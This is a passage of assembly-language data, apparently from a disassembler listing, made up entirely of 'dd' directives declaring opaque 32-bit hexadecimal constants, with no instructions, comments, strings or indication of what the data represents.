		dd 8E6C0064h, 0B0EE5E77h, 6800C918h, 0DC0BBA3Bh, 0BF66DA6h
		dd 32933A9Eh, 0D688B301h, 2486D95Ah, 2EC07C60h,	0F4300D29h
		dd 45FD008Ch, 3E7AF8A6h, 351FB2D8h, 6646AC89h, 2270E23Ah
		dd 0DE006BE1h, 0A8DD09B2h, 6F48BAh, 47D4085Dh, 5A98DBC4h
		dd 0AE819B00h, 168E6A35h, 7E0D007Bh, 0E028590Ah, 0F900AA89h
		dd 2623A527h, 937308Ah,	7512DD5Fh, 0C0EE8000h, 8D48C713h
		dd 56990071h, 38060EE7h, 9717959h, 0DA7D5805h, 96AF85h
		dd 5ED5C4ACh, 0D000801Eh, 87CD2909h, 2EFEE3C3h,	0A2CCB2h
		dd 0D2C0DBFCh, 922C8340h, 0E10EFF31h, 0ADF120AAh, 1FEF4BEh
		dd 99BB3A5Ch, 807A5B72h, 897DF588h, 3D2B178h, 5F8F1C8Bh
		dd 92880D7Ch, 0AE001858h, 1795A996h, 1A47035h, 27FDC6BCh
		dd 20DCEB8Ch, 10F7688h,	0C3FEA125h, 1913D6h, 43F7CEB0h
		dd 0F6640515h, 5128E21Fh, 10710ACh, 0DD92360Ch,	0E1425753h
		dd 0BDCCB000h, 6700E532h, 37C7D85Dh, 1CF43523h,	40496403h
		dd 1AF3095Ch, 5500F556h, 4E86789Eh, 24A4DEh, 99120F9Bh
		dd 6C4B454Fh, 0E584AA00h, 689247DDh, 5C9B0626h,	8010E611h
		dd 0CDF87700h, 739362B4h, 0E3F07FC9h, 0F14A20h,	1E298D13h
		dd 0B3A8BAC5h, 0ED0F8F00h, 8291B0F4h, 946700DCh, 0F113A396h
		dd 34705DD4h, 0AFA440E1h, 8304D646h, 0A4BC098Ch, 247028C0h
		dd 7CCC3FFFh, 0EFED3407h, 777F20FCh, 110CBB8Eh,	40A055EEh
		dd 5D8C009Fh, 0E8D1F2D0h, 0E1A0788Ah, 4200C1E7h, 0BA38B6EAh
		dd 0E5B505h, 0B41E4384h, 0BFF981CBh, 67223B00h,	0F51D8A0Ch
		dd 87710093h, 7D5F8E64h, 0C600A466h, 7EB1E886h,	0A0E1ABD9h
		dd 900B16C0h, 80AE0054h, 0BB2622A5h, 0B90FDD78h, 7C86E39Ah
		dd 0A7076309h, 0AB50CEFCh, 0EF49126h, 0AE96A98Eh, 0A6BC05h
		dd 0CF506CDCh, 84AB5E34h, 0FEACE209h, 0CCAE008Ah, 0A1F9CA21h
		dd 6E002B8h, 0D4415819h, 2497FD14h, 52770DC0h, 1A0083ABh
		dd 8AC581D1h, 60E2F38Ch, 0A58D8896h, 1360E72Ah,	8924A140h
		dd 7CEA0044h, 0F8A2B227h, 67009A99h, 64E1F112h,	7802F635h
		dd 76F20050h, 0FD51A2BBh, 0EF0063A0h, 0CB7A7D86h, 3E48E134h
		dd 780060D5h, 0F8DEB7E4h, 0CEC1FF5h, 0B5569400h, 0C03F6BDBh
		dd 0A1050070h, 2E8FF16Ah, 1700FFABh, 0DF38B5EEh, 258163B0h
		dd 0C8FE05B6h, 6DD89A00h, 0FE2382AEh, 0D49203E2h, 3BA44E73h
		dd 0B9CAFB0h, 0E1D5E900h, 0E230AD99h, 0EE7D031Dh, 578BF4C9h
		dd 1C6177B8h, 58FFA100h, 92F2ADA5h, 0B1E2E7h, 0C4BB5501h
		dd 518AA3D8h, 22361200h, 0CAAFA4EFh, 507686h, 81B91F09h
		dd 7AE8AD49h, 56014803h, 0A8A237D3h, 0E0677021h, 3B2500C5h
		dd 0A5DC6FD4h, 0EB004658h, 0F44120C1h, 6CBC30h,	591B692Dh
		dd 0E2DCFFB5h, 0AF420B00h, 555027B1h, 452A0160h, 1E7EEDE0h
		dd 0DFC7CF2Eh, 0DBFE4E80h, 61006B09h, 0F5133FECh, 383E1DE7h
		dd 9400DF88h, 58AE73A7h, 47000866h, 5DCA48F8h, 143881Ch
		dd 0A61683EAh, 0E9E5F142h, 7ECBD489h, 3D5D0E00h, 9B83ADAh
		dd 0B2320087h, 965F4406h, 0B6766F8Bh, 54B7D107h, 1F52F111h
		dd 0ED9380D3h, 4C3D8Ah,	0EE90B829h, 0C631BC8Bh,	0CAF06E00h
		dd 0A4FC6F7Fh, 0BD570080h, 0BCF1DBE2h, 461C23DDh, 387256h
		dd 9706F4A5h, 0CEA018h,	929CE34Ch, 0D63C3A86h, 0BE1390FEh
		dd 0F800857Dh, 5B20850h, 191C60DCh, 0AFD9BA48h,	3A649803h
		dd 0B24D6F46h, 0ABF2E04Ah, 6EA100B4h, 7C153191h, 12033C47h
		dd 72B168C8h, 4DB118E5h, 0C6A1E179h, 540FD4C0h,	0C292F1A0h
		dd 24FBF5C0h, 6DA5DD80h, 613E6E98h, 0AB37027Ch,	431B9760h
		dd 7629A95Ch, 6279270h,	0C998E80Fh, 0B200782Eh,	7975CA83h
		dd 3B92C087h, 69BC3818h, 0ACBAF301h, 0D4674A9Ch, 0CE1FE117h
		dd 98B0B9B4h, 0A8C2877Fh, 0FEB85D88h, 0DBE00D3h, 0A085FB2Ah
		dd 592A6910h, 0E40284BFh, 0A7F1A3D6h, 8BBCA0FFh, 16E669h
		dd 8D5726D2h, 0C7D0D943h, 7FCCC32Eh, 27E54706h,	12290258h
		dd 9659C8D1h, 30E032F8h, 9394AF07h, 3AC0410Ch, 0C9531Dh
		dd 0E9F579Ah, 8DA7814Ch, 31DDA8C0h, 1DAFED6Ah, 9ED74956h
		dd 0E6C40D88h, 36B02E98h, 0ADBF008Eh, 0ED39E461h, 0C200A7A1h
		dd 811F8FE6h, 318AF6h, 7C6D337Eh, 0F72378B2h, 1B344D00h
		dd 8D0AE5E1h, 807EE115h, 36F1B44Ch, 0EE49FF01h,	30E3A01Ah
		dd 17FE4FE0h, 0B8DD449Dh, 0E0850FBBh, 18DEC312h, 0E4C198EFh
		dd 0E95D002Ah, 0EE944423h, 167E5169h, 0F7763E00h, 7195DAFBh
		dd 0FD1700A9h, 9A91C190h, 5D00A2DEh, 7559994h, 82D3Dh
		dd 52A74420h, 0B5A0AB2h, 994AF200h, 0F6C8653Eh,	0D486091Ch
		dd 0A000A8C0h, 6278C3B6h, 3996381Fh, 0F51100F8h, 8E35D8E5h
		dd 65C80090h, 0C59DBE4h, 98030E39h, 0C7CF9A70h,	5E45A027h
		dd 71973E17h, 0F7A293h,	685F5C02h, 0D8E61D42h, 0B53D9400h
		dd 24A99A73h, 0EC2500B6h, 707A1FE9h, 28005219h,	49EDF49h
		dd 72777FCh, 12B2F52Ch,	30AE30B9h, 6F0049E8h, 78F7F83Ch
		dd 0E48A6F1h, 35C010A7h, 4BBDA800h, 48924E92h, 7D50F401h
		dd 4EA5E0Ch, 3C2A67FCh,	0C9803E41h, 1D686AADh, 360E3742h
		dd 0E06C733Fh, 0CAB94728h, 0AFDC0067h, 0BD40EF62h, 4E0165FCh
		dd 1AECE33Fh, 38D047BEh, 82560022h, 3A1D3577h, 120ED47Ch
		dd 0C0750EF4h, 64313B8h, 30A70070h, 290C3BD7h, 0AFECBEE0h
		dd 97981200h, 0D817D283h, 9A680006h, 0A7149B64h, 7414FCEDh
		dd 17D290AFh, 0EBA66CAh, 36603320h, 79516B8Ah, 13789579h
		dd 0E40B0403h, 0F0859425h, 0E7A4F2h, 0E116CADFh, 1806D3CBh
		dd 5E24D900h, 9FDBC483h, 0EE5D1C30h, 6F873BABh,	0E1EDA17Eh
		dd 0DA949B28h, 0DC3B54E0h, 0DE9DBE00h, 861D0BA7h, 0A85950F6h
		dd 3AB7F5Ch, 7002D633h,	890AF11h, 52006465h, 0CB50224Fh
		dd 0F2E6E3Eh, 35733197h, 327DAC21h, 3AAAE05Fh, 0A11FB771h
		dd 17C25D64h, 11DD48Bh,	81B7074h, 0FC4C0FFEh, 3ED8978Ah
		dd 7C0005E9h, 225EB018h, 4991A8Dh, 0A45A4B13h, 0A9688017h
		dd 1020351h, 7C481569h
		dd 0F03F40D2h, 4834FFF4h, 0CC6D016Ah, 0BEF1B965h, 76407023h
		dd 0D043E700h, 78A909B6h, 18152C79h, 81803910h,	4FA556Dh
		dd 80054FDFh, 0BC0D98E5h, 0C02B9580h, 4DEE1C61h, 41E24015h
		dd 509A8E1Ah, 0DD007A74h, 976ACF85h, 936F9Eh, 21C173DEh
		dd 0F25AF44Bh, 1003C426h, 30028F00h, 0C03C3562h, 44F07610h
		dd 0EC0426FDh, 0C4A38B6Eh, 0AC0A58D0h, 86200943h, 0CC80AEB9h
		dd 8F24B4C5h, 0BB3A5E28h, 94218B24h, 42475600h,	0F6D2DFEh
		dd 7447AE6h, 0E3176FE0h, 311604E4h, 9D00DF7Bh, 11EC90CCh
		dd 0C95C0932h, 5C000BBAh, 72F69ABDh, 0DDBF4B0Ch, 0C049801h
		dd 46FA32E1h, 0BD002A04h, 0BC528833h, 26230CE6h, 501242h
		dd 0D7C421D9h, 6707C641h, 8185CA8Bh, 808D27B0h,	8A010094h
		dd 0E42DD22Eh, 0D73E25C9h, 217D0ECDh, 0C222C074h, 384E391Ah
		dd 0F8843AB3h, 81901876h, 0E02D6440h, 0B0BEF32h, 108EA3BFh
		dd 4333DCh, 0C638F7FAh,	0DB976431h, 0C5814100h,	0AB7C76CBh
		dd 9FF000B6h, 0FABC5F48h, 0BA601C8Dh, 6C69F1B1h, 8EA93D9Ch
		dd 0FD02B600h, 95AFFAF6h, 1900E373h, 15C7FBC2h,	160D626Ch
		dd 3AC451Fh, 0A683CE8h,	26E11288h, 9202FA01h, 8F108E90h
		dd 851CB085h, 4F48D0C0h, 0B02C4715h, 0CB012221h, 0A3B620A4h
		dd 2E7A7860h, 2A2D7h, 0DC3E7DD2h, 0D5FC9B0Fh, 0DEB24C07h
		dd 27609A30h, 0B13C870h, 0E4E2E540h, 0D9EAC402h, 9DDC9840h
		dd 0C0AD5C01h, 8E439876h, 0DF838C45h, 52D7C075h, 73F77ACh
		dd 7692E04Bh, 8358F4B6h, 61E0B79Ch, 1500E8F5h, 2618E624h
		dd 8FC90Ah, 0EB2ADF60h,	0B28DF81Bh, 0ACFF5F00h,	9D7F67FAh
		dd 663300FCh, 326BAF49h, 340025A5h, 0CFA74371h,	0E91EE3h
		dd 4103F889h, 0BC6C1195h, 0D0B4F100h, 7E2D3F9h,	8EED01E3h
		dd 0EB6FFA54h, 558BE032h, 60AC2B03h, 0C092E885h, 0FD822CEh
		dd 64E6874Eh, 0D721F900h, 34008E4Bh, 543F4644h,	7505181h
		dd 3E5CE8B7h, 12006F4Fh, 2A9D17DAh, 0BA747A38h,	5C65055Fh
		dd 0F0CB3220h, 39A16400h, 0FEEBF4E9h, 0E13DE02h, 0E8DC1B05h
		dd 0F770750h, 8AD64C40h, 539484C0h, 48E699D2h, 0D93A041Fh
		dd 0C9DE51C0h, 1F5A21h,	3D9DF94Ch, 431A0F2Ch, 9619E200h
		dd 0DFF6BE65h, 30DD006Ch, 45D6D0ABh, 8B014A71h,	0E32F0210h
		dd 2470DF1Bh, 7779007Ah, 207FD623h, 0A37A2D56h,	0D4D4907h
		dd 12F05295h, 3A8B1030h, 0FC800572h, 81457D88h,	7F1EFE02h
		dd 9180AC08h, 637659B3h, 60F0EA6h, 19E3C48h, 0AE85CDE3h
		dd 8040E647h, 7300E971h, 3F0E2C1Fh, 7D8120h, 15134179h
		dd 429C295Bh, 897AEA00h, 0A08D0EECh, 0D52500C5h, 96AFBC85h
		dd 5E009297h, 118287D0h, 5C900D19h, 9C0128F5h, 0CDA4408h
		dd 5860CEB3h, 2C00064Bh, 17E296CEh, 0CFF8B4h, 0DEB319FAh
		dd 0F0F6692Ah, 2503B504h, 50802F33h, 26DC136Ch,	0EEC55BFh
		dd 31C0FB98h, 908B0BBh,	96EF8000h, 36043E72h, 2CAD7786h
		dd 0A3D0583h, 4A7A8E9h,	806512A0h, 4FBCF888h, 0CEA21000h
		dd 4DBB6998h, 40B1005Fh, 0EC9D6195h, 0CA1F5719h, 2F00521Ah
		dd 0C66DB99h, 4BC20046h, 93D69E5Eh, 0C8007845h,	5537BA4Dh
		dd 0E4771B0h, 7CBE2E40h, 0CB6832A0h, 4B58248Dh,	3C370138h
		dd 3A42C2ECh, 3C20CDDDh, 0A80B01E0h, 487D1939h,	0AF342492h
		dd 2E67FD18h, 79F539h, 546A3519h, 69255B87h, 80886438h
		dd 0ECDA927Ah, 0A9B55596h, 9870FAACh, 17E626E3h, 1C200E0h
		dd 5E5C872Eh, 0F99A5800h, 45A33FB1h, 0E4DE788Ch, 24E6F6C7h
		dd 0BCE976h, 0DCAD1E1Bh, 74008DC8h, 0FA27256Bh,	16149E5Dh
		dd 0EB5ECDh, 2BC2F852h,	8DEC44D4h, 0DC2A1100h, 8FCFC3A9h
		dd 0C8050F0Fh, 0D403A533h, 0C9804D47h, 29E6A331h, 6EF7B803h
		dd 0D8198CEFh, 0EB6307Ah, 0F85C9BE1h, 0A3A4C840h, 0A000DDFDh
		dd 0B3C036B4h, 43880Bh,	0B90668E9h, 0D977D5D8h,	8CFAF00h
		dd 19105D24h, 9050044h,	6C6BA578h, 9F0068C5h, 0FA8CF74Dh
		dd 5E46DFh, 0B1348785h,	1E94C2B2h, 0CE78F04h, 0AA423Ch
		dd 5F81366h, 0B2003507h, 0A9CEB6CCh, 0E7F0494h,	0E40888CBh
		dd 717C40BFh, 0CDBD1746h, 0D70D3A00h, 8A153B73h, 6B950167h
		dd 0A556DA50h, 0A2ECE066h, 1E860900h, 0EA6CB5Fh, 50076287h
		dd 0E0772368h, 7B6225E2h, 2CB900C2h, 3FFE5E37h,	2A002DAAh
		dd 0D55D4572h, 31BE62Bh, 470AAF10h, 37F82214h, 0E21D64CAh
		dd 65410CACh, 397C9CB4h, 5CFA34F8h, 62034DD8h, 35041A5Eh
		dd 339EE398h, 0A73BE618h, 2821FAAEh, 7DA8AF46h,	2B1A0048h
		dd 5A8A190Dh, 0E6075EB7h, 0EF27C2B8h, 802324F0h, 333F015Ch
		dd 82A250CEh, 11C08063h, 0AE9BBBAh, 0C7060108h,	65ED0B46h
		dd 412E849h, 0DCBA1000h, 0F4A794Bh, 0A07170A1h,	0F4806DB0h
		dd 589BE0E1h, 1900190Eh, 39499C52h, 8B01EDA9h, 385B2431h
		dd 1C20AB0Dh, 6C2A00F1h, 6B1C0F83h, 0E200ACE6h,	7168B150h
		dd 0FCDD1Eh, 0B9044B85h, 93A742EFh, 9DB67419h, 0AE70BBE0h
		dd 0C4240192h, 0A2F55EFDh, 0D39C40CBh, 1E00D18Ah, 0DB35EED4h
		dd 9903C2h, 372B407Ch, 43448022h, 50A7EC00h, 510C11Bh
		dd 898A01B9h, 0FC587364h, 0EBF04059h, 0CD00260Eh, 87DFA59Bh
		dd 0DBE6B0h, 0A7E32ABDh, 31A970ABh, 12455700h, 0E7FED93h
		dd 0BDCC0017h, 0EAD2183Ah, 9B0327DEh, 7A7CDCB0h, 0AB68006Ch
		dd 0BCB2BA2Ch, 0A175B701h, 83855400h, 867431F4h, 281338C3h
		dd 0D8641F81h, 51442E5Dh, 402156FCh, 0FEFB22B4h, 0CD038800h
		dd 47BB8E97h, 0C5710069h, 6EAC55FDh, 4E09E298h,	4100326h
		dd 0E087B84Ch, 5B7E5E00h, 0B040023h, 0A6564873h, 440065F6h
		dd 7F9466E7h, 0A05A0FA8h, 76902FB0h, 0B62E007Ch, 6DA1FA81h
		dd 0CF486693h, 0AD6B0066h, 0DA8F25CAh, 0FB240091h, 762F803Bh
		dd 1B2FD3C7h, 38C7DE38h, 906EA80h, 70660D91h, 0B7589E00h
		dd 0A50A5DE1h, 0D07618A9h, 0A3DD7069h, 796DCB00h, 0D9A42F31h
		dd 9ADA007Fh, 119BC2D1h, 0D4F85146h, 950601Bh, 0A7F481D9h
		dd 0A071D0FCh, 0A494E4h, 0B2FED5Dh, 7E51D2C6h, 70CDB9E0h
		dd 0D001DC2Eh, 0CC70E59Dh, 9564139Ch, 0C3BB0122h, 98F2132Eh
		dd 87907676h, 0A4D21816h, 4E8A88D4h, 0B8584A00h, 0FA1A6FF8h
		dd 90D00EADh, 27A119E0h, 48A26ACDh, 3498B768h, 0BA001042h
		dd 21CAC1A5h, 0AD03B04Eh, 3F56D543h, 88FB9880h,	0FDC205BAh
		dd 80B5217Ch, 1C363A4Eh, 9C0AD200h, 0C7F10C1Fh,	0C61002ACh
		dd 0F9A32E04h, 249F7C40h, 3F24407Fh, 3B0000CEh,	6AE0175Ch
		dd 0C0983Dh, 98D14E78h,	1DF463F2h, 750B8E00h, 47320570h
		dd 97C5034Ah, 4590E3EEh, 0A18E4000h, 5B4B8BAFh,	0BC2D008Ch
		dd 9052F17Fh, 880B77EBh, 801CE011h, 0A2453023h,	0D85D0053h
		dd 9349EFF5h, 813CDB10h, 4AAE9E41h, 803C185Eh, 5BCFFCB6h
		dd 16B27ACh, 0E6E50AB5h, 0C42B3252h, 0FCFDA330h, 4100851Eh
		dd 0F1162623h, 1CA2B03Ah, 80B44FBEh, 21ABE69Ch,	0FC1E29A1h
		dd 39127234h, 0A5AF2442h, 0F920E0F4h, 496670E2h, 0AD059C9Ah
		dd 41C9AEA3h, 0DDABB5C8h, 0D48A7161h, 0D3001D96h, 255D5E42h
		dd 9EF0E8h, 2F87CFF9h, 4350FE4Ch, 0DB4F011Dh, 0E1A19441h
		dd 0BA438E34h, 0FA82D06Eh, 0F65CE45Ah, 9A9800A6h, 0D74ADFC3h
		dd 0DB0090A4h, 51F9EFA7h, 0E1076Dh, 50E4AA9Eh, 0AF779B44h
		dd 0DD0B1FB0h, 104BB4BDh, 71689270h, 0A53F095h,	5AEFDC51h
		dd 2DEB009Ch, 54284BE7h
		dd 0E637F00h, 0E0D65DE6h, 7E650096h, 0A94C6109h, 62001DB9h
		dd 4E4D07Dh, 13C4EE46h,	44AD0Fh, 0BA7279B4h, 577CCADDh
		dd 8109A700h, 8E70E60Ch, 0A4A950F8h, 56BD005Ah,	9E452590h
		dd 21F63B2Dh, 0CDF20E01h, 6809EAE6h, 142C3900h,	773D092h
		dd 540F4876h, 0C09FB74Fh, 0D8A1EFCBh, 26747522h, 6EC4F4h
		dd 3D4B524Ch, 0DD1D1B0Bh, 2BC9DF78h, 67C41093h,	14E20051h
		dd 0A01EF1DBh, 7E0094ACh, 0EDEA963Fh, 0A1A317h,	0F7220898h
		dd 0C3256847h, 919BDCEDh, 58CA3A01h, 4E29DCF0h,	0B9BCC8h
		dd 81312D6Fh, 8E62A287h, 0AC09640Fh, 3B210002h,	0BE6895h
		dd 534DB652h, 0FF20D9F4h, 0A7451703h, 0C0AF2B3Ch, 7C0BD1B5h
		dd 891B00EFh, 0BCADAA02h, 30001417h, 0C06BBD85h, 36A617Dh
		dd 137A566Ch, 49D8488Ch, 4B182D6Dh, 399264Dh, 3CCE00C1h
		dd 191ED8F8h, 7458B843h, 5C0A0A19h, 0E500941Bh,	0AB510D06h
		dd 6D300089h, 0AC3C8896h, 71001CFFh, 0EA1328EDh, 6F158CBh
		dd 0B9C807DDh, 0DB0EB8C9h, 407D14A3h, 6542DEB0h, 4C80030Fh
		dd 1CDA483h, 43D505C8h,	0E079556Eh, 5CC7652Fh, 7D3C01CAh
		dd 0A88CF58Ah, 9FF283F8h, 0C8D805DCh, 5B1893h, 0CD739EBh
		dd 0CB0DA001h, 831C7300h, 6E05E706h, 0FD6A001Fh, 59DED916h
		dd 8200EC80h, 19D495B9h, 7270B1Eh, 0B298CDB4h, 503ED0A1h
		dd 0D03EB005h, 1F000C9h, 0DE090ECBh, 0CFBA07F2h, 0C3EF7267h
		dd 280F746h, 0D5007EAEh, 0E40B77D3h, 7775E863h,	0D1943B5Ch
		dd 143D0980h, 918A1DFEh, 0BA034F00h, 457D6E18h,	1A10C098h
		dd 2C24A623h, 0ABFEAD00h, 4DF354B7h, 0CEE900C4h, 0E8661AD6h
		dd 8403CB38h, 6F16F01Dh, 0D761819h, 0DDA2C8ACh,	85068800h
		dd 0CBE4BAC5h, 0B8D259h, 0F28F1BB2h, 1200E838h,	0DD71D2D7h
		dd 0A77C9FAh, 7B483BE5h, 0C3780B8h, 9EC59B61h, 0D426A10Eh
		dd 5B0F3F9Fh, 132740A9h, 2D604Eh, 99500E03h, 11E6B989h
		dd 9539E8F4h, 0BF760082h, 68F88174h, 741C4C17h,	0F7147C00h
		dd 0D1C5CCE5h, 55743C01h, 0EF2F57E0h, 0FB6D928Fh, 9C6AFA83h
		dd 0CEB5EEB0h, 0B2B64F00h, 26F58ECCh, 165007F4h, 0C0F0C8EAh
		dd 4973E4FAh, 2007CB8h,	0AE23A44Bh, 14FE37AAh, 91154455h
		dd 97D60E01h, 0FC0FFB34h, 1300E7B8h, 0A2471EBEh, 4944BBh
		dd 6169837Eh, 0C594C28Eh, 8A3F60Bh, 20480EB0h, 97C5CE6h
		dd 5D2700EBh, 0D730AB3Eh, 2D071941h, 67771654h,	10345620h
		dd 87D509D2h, 1400FE6Fh, 0F81C8406h, 76675900h,	72817A3h
		dd 0D057014Ah, 2BFAA891h, 79FDDC0Ah, 5C61F00h, 2D7D5CE0h
		dd 0C71D1429h, 730ED808h, 33402B2Fh, 0D6F59D7Ah, 0FB0F89F2h
		dd 20A2A68Eh, 0BFEEC57Dh, 0D236016Dh, 9FA45D2Dh, 0D3E44046h
		dd 430E3327h, 0F3852FE7h, 0DFC8BE0Fh, 0B3F25400h, 0FB8482h
		dd 0FD900962h, 0E5BAE0CFh, 7A035800h, 0E4A186D1h, 8ECD04ADh
		dd 874F2C7Ch, 0DBA6E024h, 0B600A99Ah, 0F8E68651h, 751333h
		dd 0E374E5AAh, 150CF6B1h, 0DF03F090h, 0A318E139h, 1EFD021h
		dd 1AE80061h, 0A9C3DDACh, 3800C808h, 3C537802h,	90EFDF27h
		dd 6A040014h, 0DA7B5976h, 4500CA38h, 0F216E635h, 0A3EA19h
		dd 0FEDE8457h, 8B4F2830h, 787DB700h, 8F6BE321h,	0B58A00C9h
		dd 0D4C6BC32h, 4F3E3B24h, 789E803Ah, 567BE4E0h,	12EE1401h
		dd 3702DC0Bh, 0FDA30C4Dh, 45D01A00h, 0BBED0F1Ch, 0CC0060F9h
		dd 8CDB1E3Bh, 2D5DE000h, 711B3EC7h, 8A4B00ADh, 0A1453C40h
		dd 6900E5FAh, 2C372B73h, 4D5714AFh, 0F328F0DBh,	0F12D70DCh
		dd 72003C1Ch, 0EC901EFFh, 1E0BC3A0h, 43BABE08h,	1661C88Ch
		dd 0C12D98D0h, 30F3B500h, 0CB533A87h, 0F9809h, 4B55FF61h
		dd 0E2AF5E0Ch, 40CC764Ch, 0DC0044E6h, 6C69ACDAh, 0E1C3A7h
		dd 924F1E36h, 93F78E5Ah, 97528A1Fh, 9CAF9DDh, 1E80F08Fh
		dd 0B5CA3C38h, 349064h,	0CC3E2E1Bh, 16865FA3h, 331D1A13h
		dd 5E00D3A8h, 0BBA42055h, 50E0C893h, 9B1B3A00h,	0EFCA8B8Ch
		dd 90E60026h, 0DEEEED3Dh, 0BAF05D49h, 1633EB00h, 0B5DA948Ah
		dd 8C04000Eh, 0C05CE792h, 0F00E624h, 735179D3h,	2F0956h
		dd 5BFC10B0h, 671357B8h, 29C83300h, 0C2E3C459h,	61B03AE7h
		dd 96E1201h, 70350A5Ah,	0A5136D58h, 6C4FBCDDh, 0EA8F0h
		dd 71886B91h, 9700F20Fh, 4C578EE3h, 878A7Ah, 0DDD39EAFh
		dd 1CAD9CAAh, 0D2C4820Eh, 265A47E8h, 3B313C80h,	0C6DF008Eh
		dd 0EC898446h, 4300799Fh, 0C7F92678h, 4F7E63h, 3B74EB69h
		dd 1309484Eh, 0E9B0A071h, 0B21C6BB0h, 0D43A814h, 90072D85h
		dd 12BF02DAh, 0F3CEE3h,	51405840h, 90BA64Eh, 801E14B1h
		dd 0DFA0451Ch, 0DB23BAEh, 0B3823580h, 23B8A851h, 8E312603h
		dd 0C0C1489Fh, 362718h,	0BB40A489h, 7BCAB5C6h, 7AD8680Ch
		dd 16F060E0h, 40639556h, 65525168h, 1C749341h, 3BB6E218h
		dd 0E1A4B118h, 6EC2CCE0h, 0FD601004h, 2C722124h, 0CE301500h
		dd 0BBB31C47h, 0E3AF00F7h, 3B4EDD3Ch, 0C6037CFCh, 0C246876Ch
		dd 113802DBh, 81831FB0h, 0C6083C8Bh, 16620F48h,	0B8E9D4C0h
		dd 8EECD16Ch, 8C1114A0h, 4E7C1700h, 0D6A9AB5Fh,	25CA0028h
		dd 8806058Ah, 37FA7A9Fh, 0FB00767Eh, 31D9C702h,	18F71FB2h
		dd 18658DCFh, 881FCC60h, 3BEBF2Bh, 813767D4h, 0C6E9B62h
		dd 0FCC71B20h, 0F70358E8h, 91CC82EDh, 0C330000Ch, 3F57895Ch
		dd 0FE0FC986h, 9AB8FA45h, 40A28C40h, 85293CCAh,	0AB7DE90Fh
		dd 99144E03h, 0FAF00184h, 0D1805A4Fh, 0C1D691DBh, 0DC28057Dh
		dd 96F880C9h, 90214F67h, 3181898Ch, 1951EFD2h, 0A0B341B2h
		dd 0FCD18563h, 0C40352D3h, 6DF1F3h, 70A6CB49h, 7C5EF62Ah
		dd 81F0FB41h, 77E0010h,	0F74E8760h, 4D7C8201h, 0C24F7801h
		dd 0A8C32DAAh, 71EA609Ah, 0A650F260h, 0A7773A00h, 0A9AAF29Ch
		dd 23210AB1h, 3A304ACh,	500C76FEh, 1C8D2E0h, 0F2DA9B00h
		dd 0ED860AAFh, 91A31F37h, 3BDF85Fh, 2215E300h, 0DDD96B75h
		dd 7A37C800h, 901021CBh, 0A8D3E2h, 9F8054E4h, 25009BBDh
		dd 72423006h, 88EFC1h, 64F91D36h, 5A6B075Bh, 8E00F0E0h
		dd 53FBA568h, 0F3DF60h,	0C171618Bh, 62931254h, 8580203Ch
		dd 7F5D410Eh, 0D7F9DCC0h, 380BA53h, 675B7B6Fh, 748859E5h
		dd 0BF0089FDh, 8D427CA4h, 6B0A50h, 0DC7D52FCh, 2CACFB85h
		dd 817E2900h, 653BC1B0h, 5CDAE877h, 0D530B892h,	0FB8DE259h
		dd 0F7D66C00h, 0B4D0D3CEh, 0AF47033Ch, 27EE09F1h, 0ACD101B0h
		dd 76AC6A4Eh, 8849100Bh, 0FDB42420h, 2558BEB2h,	0AE73789Ah
		dd 2CA2B600h, 0C849797Bh, 3EA17676h, 5F000F10h,	0C2AFA42Dh
		dd 91E64CAh, 4D00DD79h,	9F52C8BCh, 0E8B50037h, 90E4FC66h
		dd 620057BFh, 0A4ECB95Bh, 9808AA8Eh, 538D091Bh,	998ECE2Ah
		dd 0B380CDEEh, 0FEB294Dh, 0C6E8A14Ah, 13C68801h, 0F4DD4AD6h
		dd 9F0F2B4Ch, 58631585h, 2549CF20h, 20804DC6h, 227A017Ch
		dd 2E291D00h, 0E2956460h, 6F13009Fh, 0B9F29AA5h, 611E9674h
		dd 0B81E41D3h, 0AB2D8287h, 0DDEDAA10h, 0B3BA3CE3h, 3796287Ah
		dd 3F56C093h, 353B01Ah,	7D006C92h, 20275102h, 0BCB49Ah
		dd 5D21CC97h, 2D0C0A49h, 0BB703202h, 0A0E4BDECh, 0F7C865C4h
		dd 0DE73E6h, 604907B9h,	84A96799h, 8200A896h, 4F867C95h
		dd 7139004Bh, 0F16E6C6Fh, 76014026h, 0EC1BCBC5h, 9C285572h
		dd 74BF3A80h, 0D7F642EBh, 8C7BBAFEh, 0AEC12E00h, 0D410DD1Fh
		dd 0C7F400BDh, 43CC1E85h
		dd 15F6373Fh, 738A5E07h, 84879087h, 623DCB50h, 0D7E917EEh
		dd 86390175h, 416A11DAh, 34EC93B8h, 5C380A14h, 982B9435h
		dd 725F00E4h, 107A5B53h, 16AF7F06h, 1694E94Bh, 1D8013Ah
		dd 0C0373B60h, 22008B4Dh, 0DDE32F04h, 4805DF4Ch, 0BC03F2ADh
		dd 0CE32B27Ch, 0A8943AD0h, 5B0130B2h, 87B3EB04h, 0C960B95Dh
		dd 0AC35006Fh, 29B4BA7Bh, 59348FE0h, 0D002C625h, 0CA52E8h
		dd 6C3AD9F2h, 7202B390h, 4FFE6A16h, 11E88062h, 7EA1E15h
		dd 6CD540F0h, 0F9910A6h, 44960D13h, 0AAE00800h,	0AEB0796h
		dd 0FEC8B01Bh, 0C3380FCh, 0D9C04AF4h, 8141D9A0h, 97D8A600h
		dd 6750EF01h, 440800B6h, 2D8715BBh, 8C1D3141h, 450086A5h
		dd 0ECDA18F6h, 0C0A05ACBh, 0FA534BF5h, 7C0099E4h, 0B6503E32h
		dd 0EF01D27h, 3A5DF354h, 482CAC9h, 18605B8Fh, 2600D30Bh
		dd 7B7A4720h, 488D25DAh, 0BF008D82h, 0DEE5E4F5h, 0FDFACE9Fh
		dd 8430FE00h, 3C970CF1h, 9B03014Fh, 0B03F42CFh,	0C28BE05Ch
		dd 1C790D3Bh, 2E00DA93h, 7D6CA626h, 717043h, 51FB7FB6h
		dd 5E5A5046h, 8B16FD00h, 1BA0A707h, 0FC911837h,	963C1990h
		dd 9D2E3500h, 1F61DEA9h, 1B540027h, 5BE704BFh, 39003B7Fh
		dd 12692A96h, 7ECA0B4Ah, 0BEDE0107h, 47067965h,	2FC0C60Ah
		dd 990042C8h, 247FDFF1h, 4F3DE29h, 155CE0CFh, 80E885D2h
		dd 5A90E9C0h, 8ECDC505h, 449061EDh, 18B859Ch, 0F15B75B2h
		dd 0D052A4A6h, 6700DFD3h, 4DD8061Dh, 13252Ah, 9CC1C795h
		dd 0EAB1D58Dh, 2BD90864h, 127814A0h, 1DD4FE8Bh,	5F800193h
		dd 0D04C7D0Ah, 0F40069E2h, 0F3DC01DEh, 5D2D524Ah, 0C10C7CF9h
